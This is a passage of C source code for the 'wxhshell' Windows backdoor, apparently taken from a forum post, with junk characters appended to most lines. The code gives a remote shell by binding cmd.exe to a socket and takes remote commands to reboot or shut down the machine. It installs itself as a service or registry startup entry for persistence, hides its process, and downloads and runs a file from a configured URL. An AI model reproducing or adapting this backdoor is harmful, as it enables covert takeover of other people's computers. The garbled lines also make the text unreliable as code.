    break; Ictc '#y  
  } b<_*~af  
  // 安装 1B'i7  
  case 'i': { ^%~ztn 51  
    if(Install()) c=I!?a"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cBmo#:>'  
    else 0 !9vGs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  twz  
    break; 9<kKno  
    } )PL'^gR r  
  // 卸载 %2^C  
  case 'r': { ItDe_|!L  
    if(Uninstall()) Fly@"W4a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&Q_5\Tn  
    else g,Kb9['  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U(-9xp+  
    break; vF;6Y(h>  
    } tirw{[X0n  
  // 显示 wxhshell 所在路径 75K~ebRr  
  case 'p': { Vm'ReH  
    char svExeFile[MAX_PATH]; /4#.qq0\{c  
    strcpy(svExeFile,"\n\r"); F) {f{-@)  
      strcat(svExeFile,ExeFile); M$FXDyr  
        send(wsh,svExeFile,strlen(svExeFile),0); vxUJ4|Qz  
    break; {-^>) iJqt  
    } yZHQql%J O  
  // 重启 m(y?3} h  
  case 'b': { c[!e*n!y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *u>2"!+Ob  
    if(Boot(REBOOT)) eG|e1tK+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NhCO C  
    else { fdho`juFa  
    closesocket(wsh); kOVx]=  
    ExitThread(0); K).X=2gjY  
    } tH 5f;mY,  
    break; ijr*_=  
    } [4kx59J3b  
  // 关机 <%JdQ82?  
  case 'd': { |?s%8c'w=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PdMx6 Ab  
    if(Boot(SHUTDOWN)) cy)L%`(7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sa#=#0yg  
    else { KK(x)(  
    closesocket(wsh); on*?O O'  
    ExitThread(0); }tft@,dIC  
    } q]<Xx{_  
    break; _M:)x0("  
    } tFwQ /  
  // 获取shell \b.2f+;3  
  case 's': { "M7ry9dDH  
    CmdShell(wsh); Lr)h>j6\  
    closesocket(wsh); hz Vpv,|G  
    ExitThread(0); :eQ@I+  
    break; 3, ,Z  
  } ?P<&8eY  
  // 退出 rMe` HM@  
  case 'x': { (S5'iks x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !aa^kcEjnL  
    CloseIt(wsh); q*DR~Ov  
    break; i.cSD%*  
    } uFSgjWJ#~  
  // 离开 zq4,%$y8|  
  case 'q': { akm)X0!-}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xVfJ ]Y  
    closesocket(wsh); >+u5%5-wr  
    WSACleanup(); W}Nd3  
    exit(1); m oFK/5cJ  
    break; %E1~I\n:F  
        } ?j8CkqX!  
  } 'QeqWn  
  } xw%?R=&L  
yu#Jw  
  // 提示信息 eX?o 4>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &_" 3~:N8k  
} \5s!lv*&  
  } #%k5s?cP@  
-jC. dz  
  return; >P\T nb"Q\  
} FX}<F0([?  
}xLwv=Ia  
// shell模块句柄 8k_,Hni  
int CmdShell(SOCKET sock) @=Ly#HuUM  
{ umrRlF4M;  
STARTUPINFO si; SjlkKulMF  
ZeroMemory(&si,sizeof(si)); }y=7r!{@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (4M#(I~cE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JB+pd_>5  
PROCESS_INFORMATION ProcessInfo; bn<&Xe  
char cmdline[]="cmd"; RF6(n8["MW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J'@ I!Jc  
  return 0; <+_OgF1G  
} D-ug$ZRg  
7dPA>5"XD  
// 自身启动模式 %=#&\ldPS  
int StartFromService(void) hJFQ/(  
{ 2Q9s?C   
typedef struct He#+zE ;  
{ g^B 6N F  
  DWORD ExitStatus; M/UJb1<  
  DWORD PebBaseAddress; LYWQqxB  
  DWORD AffinityMask; iY;)R|6  
  DWORD BasePriority; yaR|d3ef?4  
  ULONG UniqueProcessId; ik&loM_  
  ULONG InheritedFromUniqueProcessId; ,Oxdqxu7  
}   PROCESS_BASIC_INFORMATION; @Z3b^G[  
6K`frt  
PROCNTQSIP NtQueryInformationProcess; "ajZ&{Z  
7t@jj%F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mXhr: e  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d:A+s>`$M  
+"' h?7'C  
  HANDLE             hProcess; ,j&o H$mW  
  PROCESS_BASIC_INFORMATION pbi; #7Qn\C2  
,0-   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4RTEXoXs  
  if(NULL == hInst ) return 0; Yn J=&21  
?_HTOOa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )x( *T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9oc[}k-M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4+v~{  
%#7M~RB[  
  if (!NtQueryInformationProcess) return 0; ShCAkaj_  
yD(/y"P,9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3kKXzIh  
  if(!hProcess) return 0; N66jFRA;x  
x!I7vs~~zW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  |2n2  
>{m>&u;Cc  
  CloseHandle(hProcess); {tWfLfzU  
/eIwv 31  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l l&iMj]  
if(hProcess==NULL) return 0; WU=Os8gR  
Bljh'Qp>C  
HMODULE hMod; E(u[?  
char procName[255]; q/4PX  
unsigned long cbNeeded; {Ziq~{W_  
X^aujK^@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yGS._;#R  
T( ;BEyc?  
  CloseHandle(hProcess); bZ3CJ f&mE  
|$1j;#h  
if(strstr(procName,"services")) return 1; // 以服务启动 #wC4$y<>  
Y ciZU  
  return 0; // 注册表启动 )Xg#x:  
} J3q}DDnEo  
W:9L!+m^  
// 主模块 ]t #,{%h  
int StartWxhshell(LPSTR lpCmdLine) 4<lZ;M"  
{ 1%1-j  
  SOCKET wsl; (5Cm+Sy  
BOOL val=TRUE; r/{0Y Fa  
  int port=0; jq}5(*k  
  struct sockaddr_in door; ={zYcVI  
>aa-ix &  
  if(wscfg.ws_autoins) Install(); N|7._AR2  
;Vp&f%u+v  
port=atoi(lpCmdLine); t5 5k#`Z  
~hM4({/QN  
if(port<=0) port=wscfg.ws_port; ]^ j)4us  
%kVpW& ~  
  WSADATA data; 8dL(cC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !sR`]0  
hV=)T^Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C/]0jAAE7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W}T+8+RU  
  door.sin_family = AF_INET; lHP[WO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8.9S91]=  
  door.sin_port = htons(port); "J[Crm  
Gia_B6*Y[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  : [AW  
closesocket(wsl); 0eUsvzz 15  
return 1; \ u5%+GA-:  
} }1(F~6RH  
L\n_q6n  
  if(listen(wsl,2) == INVALID_SOCKET) { ~~yo& ]  
closesocket(wsl); OF DPtJwV  
return 1; 1}V_:~7  
} /u#uC(Uwl  
  Wxhshell(wsl); }dB01Jl '  
  WSACleanup(); S{ *RF)  
q$H'u[KQ06  
return 0; iLS' 47  
m\jp$  
} meIY00   
\UK  9  
// 以NT服务方式启动 L TO1LAac  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Lww0LH >  
{ 6'*?zZrz  
DWORD   status = 0; k6*2= xK~  
  DWORD   specificError = 0xfffffff; >i`'e~%  
tK]r>?Y\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !@*Ac$J>$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]LP&v3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4'_uN$${$  
  serviceStatus.dwWin32ExitCode     = 0; se(_`a/4Q  
  serviceStatus.dwServiceSpecificExitCode = 0; 4}?Yp e-  
  serviceStatus.dwCheckPoint       = 0; hEEbH@b  
  serviceStatus.dwWaitHint       = 0; * =r,V  
.s, hl(w,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #<!oA1MH4  
  if (hServiceStatusHandle==0) return; r%TgZ5~u  
5$zC,g*#  
status = GetLastError(); t|%iW%m4  
  if (status!=NO_ERROR) lf Wxdi  
{ |yQ3H)qB#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #x "pG  
    serviceStatus.dwCheckPoint       = 0; SD JAk&Z}R  
    serviceStatus.dwWaitHint       = 0; >Wy@J]Y#  
    serviceStatus.dwWin32ExitCode     = status; IURi90Ir  
    serviceStatus.dwServiceSpecificExitCode = specificError; L! Q&?xP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZRcY; ?  
    return; P_i2yhpK  
  } / <y-pFTg  
v\f 41M7D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j;<;?IW  
  serviceStatus.dwCheckPoint       = 0; WvN5IHo 8i  
  serviceStatus.dwWaitHint       = 0; <PJwBA%{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6)DYQ^4y  
} c< \:lhl  
I_eYTy-a`1  
// 处理NT服务事件,比如:启动、停止 A!@D }n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q=|>r n_  
{ TX8,+s+  
switch(fdwControl) Xt9?7J#\T  
{ %.[GR  
case SERVICE_CONTROL_STOP: U7 Z_  
  serviceStatus.dwWin32ExitCode = 0; +mV4Ty  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ks'25tv}F  
  serviceStatus.dwCheckPoint   = 0; R+, tn,<<  
  serviceStatus.dwWaitHint     = 0; v#D9yttO{  
  { SAXjB;VH6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6P+8{ ?V&  
  } ,uuQj]Dac+  
  return; PZH]9[H  
case SERVICE_CONTROL_PAUSE: [)9bR1wh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dth<hS,2J  
  break; ^=Up U B  
case SERVICE_CONTROL_CONTINUE: 7uxy<#Ar  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l=bB,7gL  
  break; `@=}5 9+|  
case SERVICE_CONTROL_INTERROGATE: DA[-( s  
  break; -zMXc"'C^k  
}; 1 !OQxY}f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nQg6 j Zf  
} %,>> <8  
/1Rm^s)2z  
// 标准应用程序主函数 hIPDJ1a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^K&& O {  
{ t~XwF(";  
>l 'QX(  
// 获取操作系统版本 _Z5l Nu  
OsIsNt=GetOsVer(); uVOOw&q_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fl+ [(x<  
C6O1ype  
  // 从命令行安装 Z]oa+W+  
  if(strpbrk(lpCmdLine,"iI")) Install(); _<kE32Bb  
!^G+@~U  
  // 下载执行文件 H9nZ%n  
if(wscfg.ws_downexe) { 9 `J`(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s`GSc)AI  
  WinExec(wscfg.ws_filenam,SW_HIDE); l0[jepmpiT  
} Qn<J@%  
Qe]@`Vg  
if(!OsIsNt) { Vx-H W;,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]?mWnEi!z  
HideProc(); QoI@/ jLj  
StartWxhshell(lpCmdLine); :NS;y-{^^y  
} MdZ7Yep  
else mNm 8I8  
  if(StartFromService()) 56&s'  
  // 以服务方式启动 N;RZIg(x  
  StartServiceCtrlDispatcher(DispatchTable); T" 8>6a@}E  
else <hQ@]2w$  
  // 普通方式启动 <}N0 y*m  
  StartWxhshell(lpCmdLine); '-gk))u>)  
:3{@LOil^  
return 0; Og"50-  
}
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只看该作者 1 发表于: 2006-10-10
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